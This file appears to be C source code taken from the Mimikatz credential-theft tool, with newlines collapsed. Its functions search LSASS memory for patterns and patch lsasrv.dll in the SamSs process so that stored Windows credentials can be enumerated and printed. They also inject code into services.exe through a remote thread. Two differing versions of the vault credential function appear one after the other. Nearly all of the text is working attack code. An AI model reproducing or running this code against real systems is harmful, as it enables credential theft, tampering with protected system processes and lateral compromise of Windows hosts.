BOOL kuhl_m_sekurlsa_utils_search_generic(PKUHL_M_SEKURLSA_CONTEXT cLsass, PKUHL_M_SEKURLSA_LIB pLib, PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, PVOID * genericPtr, PVOID * genericPtr1, PVOID * genericPtr2, PLONG genericOffset1) { KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_MEMORY_ADDRESS aLsassMemory = {NULL, cLsass->hLsassMem}, aLocalMemory = {NULL, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory = {{{pLib->Informations.DllBase.address, cLsass->hLsassMem}, pLib->Informations.SizeOfImage}, NULL}; PKULL_M_PATCH_GENERIC currentReference; #ifdef _M_X64 LONG offset; #endif if(currentReference = kull_m_patch_getGenericFromBuild(generics, cbGenerics, cLsass->osContext.BuildNumber)) { aLocalMemory.address = currentReference->Search.Pattern; if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE)) { aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off0; // optimize one day if(genericOffset1) *genericOffset1 = currentReference->Offsets.off1; #ifdef _M_X64 aLocalMemory.address = &offset; if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG))) *genericPtr = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset); #elif defined _M_IX86 aLocalMemory.address = genericPtr; pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)); #endif if(genericPtr1) { aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off1; #ifdef _M_X64 aLocalMemory.address = &offset; if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG))) *genericPtr1 = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset); #elif defined _M_IX86 aLocalMemory.address = genericPtr1; pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)); #endif } if(genericPtr2) { aLsassMemory.address = (PBYTE) sMemory.result + currentReference->Offsets.off2; #ifdef _M_X64 aLocalMemory.address = &offset; if(pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(LONG))) *genericPtr2 = ((PBYTE) aLsassMemory.address + sizeof(LONG) + offset); #elif defined _M_IX86 aLocalMemory.address = genericPtr2; pLib->isInit = kull_m_memory_copy(&aLocalMemory, &aLsassMemory, sizeof(PVOID)); #endif } } } return pLib->isInit; }
BOOL kull_m_patch_genericProcessOrServiceFromBuild(PKULL_M_PATCH_GENERIC generics, SIZE_T cbGenerics, PCWSTR processOrService, PCWSTR moduleName, BOOL isService) // to do for process // to do callback ! (vault & lsadump) { BOOL result = FALSE; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModule; HANDLE hProcess; KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &hLocalMemory}, aPatchMemory = {NULL, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC currenReferences; if(currenReferences = kull_m_patch_getGenericFromBuild(generics, cbGenerics, MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = currenReferences->Search.Pattern; aPatchMemory.address = currenReferences->Patch.Pattern; if(kull_m_service_getUniqueForName(processOrService, &ServiceStatusProcess)) { if(ServiceStatusProcess.dwCurrentState >= SERVICE_RUNNING) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &hMemory)) { if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, moduleName, &iModule)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModule.DllBase; sMemory.kull_m_memoryRange.size = iModule.SizeOfImage; if(result = kull_m_patch(&sMemory, &aPatternMemory, currenReferences->Search.Length, &aPatchMemory, currenReferences->Patch.Length, currenReferences->Offsets.off0, NULL, 0, NULL, NULL)) kprintf(L"\"%s\" service patched\n", processOrService); else PRINT_ERROR_AUTO(L"kull_m_patch"); } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR(L"Service is not running\n"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } else PRINT_ERROR(L"Incorrect version in references\n"); return result; }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i, j; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = {KULL_M_MEMORY_TYPE_OWN, NULL}; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; HANDLE hSamSs; KULL_M_MEMORY_ADDRESS aPatternMemory = {NULL, &hLocalMemory}, aPatchMemory = {NULL, &hLocalMemory}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; static BOOL isPatching = FALSE; if(!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) { if(CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, ARRAYSIZE(CredpCloneCredentialReferences), MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; if(kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) { if(hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) { if(kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; isPatching = TRUE; if(!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) PRINT_ERROR_AUTO(L"kull_m_patch"); isPatching = FALSE; } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } } else { do { if(CredEnumerate(NULL, flags, &credCount, &pCredential)) { for(i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Persist : %u - %s\n" L"Flags : %08x\n", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, kull_m_cred_CredType(pCredential[i]->Type), pCredential[i]->Persist, kull_m_cred_CredPersist(pCredential[i]->Persist), pCredential[i]->Flags ); kprintf(L"Credential : "); kull_m_string_printSuspectUnicodeString(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize); kprintf(L"\n" L"Attributes : %u\n", pCredential[i]->AttributeCount ); if(kull_m_string_args_byName(argc, argv, L"attributes", NULL, NULL)) { for(j = 0; j < pCredential[i]->AttributeCount; j++) { kprintf(L" [%2u] Attribute\n", j); kprintf(L" Flags : %08x - %u\n", pCredential[i]->Attributes[j].Flags, pCredential[i]->Attributes[j].Flags); kprintf(L" Keyword : %s\n", pCredential[i]->Attributes[j].Keyword); kprintf(L" Value : "); kull_m_string_printSuspectUnicodeString(pCredential[i]->Attributes[j].Value, pCredential[i]->Attributes[j].ValueSize); kprintf(L"\n"); } } kprintf(L"\n"); } CredFree(pCredential); } flags++; } while((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); } return STATUS_SUCCESS; }
NTSTATUS kuhl_m_vault_cred(int argc, wchar_t * argv[]) { DWORD credCount, i; PCREDENTIAL * pCredential = NULL; DWORD flags = 0; UNICODE_STRING creds; SERVICE_STATUS_PROCESS ServiceStatusProcess; PKULL_M_MEMORY_HANDLE hMemory; KULL_M_MEMORY_HANDLE hLocalMemory = { KULL_M_MEMORY_TYPE_OWN, NULL }; KULL_M_PROCESS_VERY_BASIC_MODULE_INFORMATION iModuleSamSrv; HANDLE hSamSs; KULL_M_MEMORY_ADDRESS aPatternMemory = { NULL, &hLocalMemory }, aPatchMemory = { NULL, &hLocalMemory }; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC CredpCloneCredentialReference; static BOOL isPatching = FALSE; if (!isPatching && kull_m_string_args_byName(argc, argv, L"patch", NULL, NULL)) { if (CredpCloneCredentialReference = kull_m_patch_getGenericFromBuild(CredpCloneCredentialReferences, sizeof(CredpCloneCredentialReferences) / sizeof(KULL_M_PATCH_GENERIC), MIMIKATZ_NT_BUILD_NUMBER)) { aPatternMemory.address = CredpCloneCredentialReference->Search.Pattern; aPatchMemory.address = CredpCloneCredentialReference->Patch.Pattern; if (kull_m_service_getUniqueForName(L"SamSs", &ServiceStatusProcess)) { if (hSamSs = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, ServiceStatusProcess.dwProcessId)) { if (kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hSamSs, &hMemory)) { if (kull_m_process_getVeryBasicModuleInformationsForName(hMemory, L"lsasrv.dll", &iModuleSamSrv)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress = iModuleSamSrv.DllBase; sMemory.kull_m_memoryRange.size = iModuleSamSrv.SizeOfImage; isPatching = TRUE; if (!kull_m_patch(&sMemory, &aPatternMemory, CredpCloneCredentialReference->Search.Length, &aPatchMemory, CredpCloneCredentialReference->Patch.Length, CredpCloneCredentialReference->Offsets.off0, kuhl_m_vault_cred, argc, argv, NULL)) PRINT_ERROR_AUTO(L"kull_m_patch"); isPatching = FALSE; } else PRINT_ERROR_AUTO(L"kull_m_process_getVeryBasicModuleInformationsForName"); kull_m_memory_close(hMemory); } } else PRINT_ERROR_AUTO(L"OpenProcess"); } else PRINT_ERROR_AUTO(L"kull_m_service_getUniqueForName"); } } else { do { if (CredEnumerate(NULL, flags, &credCount, &pCredential)) { for (i = 0; i < credCount; i++) { kprintf(L"TargetName : %s / %s\n" L"UserName : %s\n" L"Comment : %s\n" L"Type : %u - %s\n" L"Credential : ", pCredential[i]->TargetName ? pCredential[i]->TargetName : L"<NULL>", pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>", pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>", pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>", pCredential[i]->Type, (pCredential[i]->Type < CRED_TYPE_MAXIMUM) ? CredTypeToStrings[pCredential[i]->Type] : L"? (type > CRED_TYPE_MAXIMUM)" ); creds.Buffer = (PWSTR)pCredential[i]->CredentialBlob; creds.Length = creds.MaximumLength = (USHORT)pCredential[i]->CredentialBlobSize; if (kull_m_string_suspectUnicodeString(&creds)) kprintf(L"%wZ", &creds); else kull_m_string_wprintf_hex(pCredential[i]->CredentialBlob, pCredential[i]->CredentialBlobSize, 1); kprintf(L"\n\n"); } CredFree(pCredential); } flags++; } while ((flags <= CRED_ENUMERATE_ALL_CREDENTIALS) && (MIMIKATZ_NT_MAJOR_VERSION > 5)); } return STATUS_SUCCESS; }
BOOL kuhl_service_sendcontrol_inprocess(PWSTR ServiceName, DWORD dwControl) { BOOL status = FALSE; DWORD processId, szCode; PVOID pCode; HANDLE hProcess; KULL_M_MEMORY_ADDRESS aRemoteFunc; KULL_M_MEMORY_ADDRESS aLocalMemory = {NULL, &KULL_M_MEMORY_GLOBAL_OWN_HANDLE}; KULL_M_MEMORY_SEARCH sMemory; PKULL_M_PATCH_GENERIC currentReference; PEB Peb; PIMAGE_NT_HEADERS pNtHeaders; PREMOTE_LIB_INPUT_DATA iData; REMOTE_LIB_OUTPUT_DATA oData; if(kull_m_process_getProcessIdForName(L"services.exe", &processId)) { if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD, FALSE, processId)) { if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory)) { if(!pScSendControl) { if(kull_m_process_peb(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, &Peb, FALSE)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = Peb.ImageBaseAddress; if(kull_m_process_ntheaders(&sMemory.kull_m_memoryRange.kull_m_memoryAdress, &pNtHeaders)) { sMemory.kull_m_memoryRange.kull_m_memoryAdress.address = (LPVOID) pNtHeaders->OptionalHeader.ImageBase; sMemory.kull_m_memoryRange.size = pNtHeaders->OptionalHeader.SizeOfImage; if(currentReference = kull_m_patch_getGenericFromBuild(ScSendControlReferences, ARRAYSIZE(ScSendControlReferences), MIMIKATZ_NT_BUILD_NUMBER)) { aLocalMemory.address = currentReference->Search.Pattern; if(kull_m_memory_search(&aLocalMemory, currentReference->Search.Length, &sMemory, FALSE)) pScSendControl = (PBYTE) sMemory.result + currentReference->Offsets.off0; else PRINT_ERROR_AUTO(L"kull_m_memory_search"); } LocalFree(pNtHeaders); } } } if(pScSendControl) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_BUILD_8) { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_std_thread_end - (PBYTE) kuhl_service_sendcontrol_std_thread); pCode = kuhl_service_sendcontrol_std_thread; } else { szCode = (DWORD) ((PBYTE) kuhl_service_sendcontrol_fast_thread_end - (PBYTE) kuhl_service_sendcontrol_fast_thread); pCode = kuhl_service_sendcontrol_fast_thread; } if(kull_m_remotelib_CreateRemoteCodeWitthPatternReplace(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory, pCode, szCode, NULL, &aRemoteFunc)) { if(iData = kull_m_remotelib_CreateInput(pScSendControl, dwControl, (DWORD) (wcslen(ServiceName) + 1) * sizeof(wchar_t), ServiceName)) { if(kull_m_remotelib_create(&aRemoteFunc, iData, &oData)) { if(oData.outputStatus) kprintf(L"error %u\n", oData.outputStatus); else kprintf(L"OK!\n"); } else PRINT_ERROR_AUTO(L"kull_m_remotelib_create"); LocalFree(iData); } kull_m_memory_free(&aRemoteFunc, 0); } else PRINT_ERROR(L"kull_m_remotelib_CreateRemoteCodeWitthPatternReplace\n"); } else PRINT_ERROR(L"Not available without ScSendControl\n"); kull_m_memory_close(sMemory.kull_m_memoryRange.kull_m_memoryAdress.hMemory); } CloseHandle(hProcess); } else PRINT_ERROR_AUTO(L"OpenProcess"); } return status; }